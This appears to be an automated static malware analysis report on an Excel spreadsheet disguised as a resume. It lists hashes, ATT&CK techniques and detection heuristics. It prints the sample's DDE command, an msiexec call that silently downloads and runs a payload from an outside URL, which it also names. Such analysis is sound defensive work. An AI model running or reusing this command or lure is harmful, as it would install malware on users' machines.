Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 93e852b3fd692c38…

MALICIOUS

Office (OOXML)

20.8 KB Created: 2015-06-05 18:19:34 UTC Authoring application: Microsoft Excel 15.0300 First seen: 2019-04-18
MD5: 19d12c8c98c1f21810efb43edc816c83 SHA-1: 2bcb7c7d7a3cb7c954563ca1e3c2a4dd76eacf93 SHA-256: 93e852b3fd692c38a76b73f94d49659aee219d3bd2059b3ad3918a7a2563bd78
62 Risk Score

Malware Insights

MITRE ATT&CK
T1203 Exploitation for Client Execution T1566.001 Spearphishing Attachment

The sample is an OOXML spreadsheet that contains a malicious DDE link. This link is configured to execute 'msiexec /I http://resume.immigrantlol.com/?session=show /q', which will download and execute a payload from the provided URL. The document body appears to be a resume, likely intended to lure the user into opening the malicious link.

Heuristics 2

  • Spreadsheet DDE link launches a dangerous command critical OOXML_SPREADSHEET_DDE_MALICIOUS
    Excel workbook contains an externalLinks/ddeLink entry whose ddeService/ddeTopic launches a dangerous executable. This is SpreadsheetML DDE command execution, distinct from WordprocessingML DDE field instructions.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://resume.immigrantlol.com/?session=show In document text (OOXML body / shared strings)

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